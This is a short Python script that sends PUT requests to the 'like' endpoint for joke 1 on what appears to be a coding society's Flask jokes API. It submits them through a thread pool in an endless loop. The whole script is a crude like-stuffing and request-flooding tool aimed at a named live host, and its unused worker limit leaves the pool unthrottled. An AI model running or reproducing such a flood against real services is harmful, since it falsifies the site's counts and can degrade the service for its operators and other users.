import requests
from concurrent.futures import ThreadPoolExecutor
import os
url = "https://flask.nighthawkcodingsociety.com/api/jokes/like/{joke_id}"
joke_id = "1"
def like_joke(joke_id):
with requests.put(url.format(joke_id=joke_id), stream=True) as response:
pass
max_workers = max(1, int(os.cpu_count()*2 / 3))
with ThreadPoolExecutor() as executor:
while True:
executor.submit(like_joke, joke_id)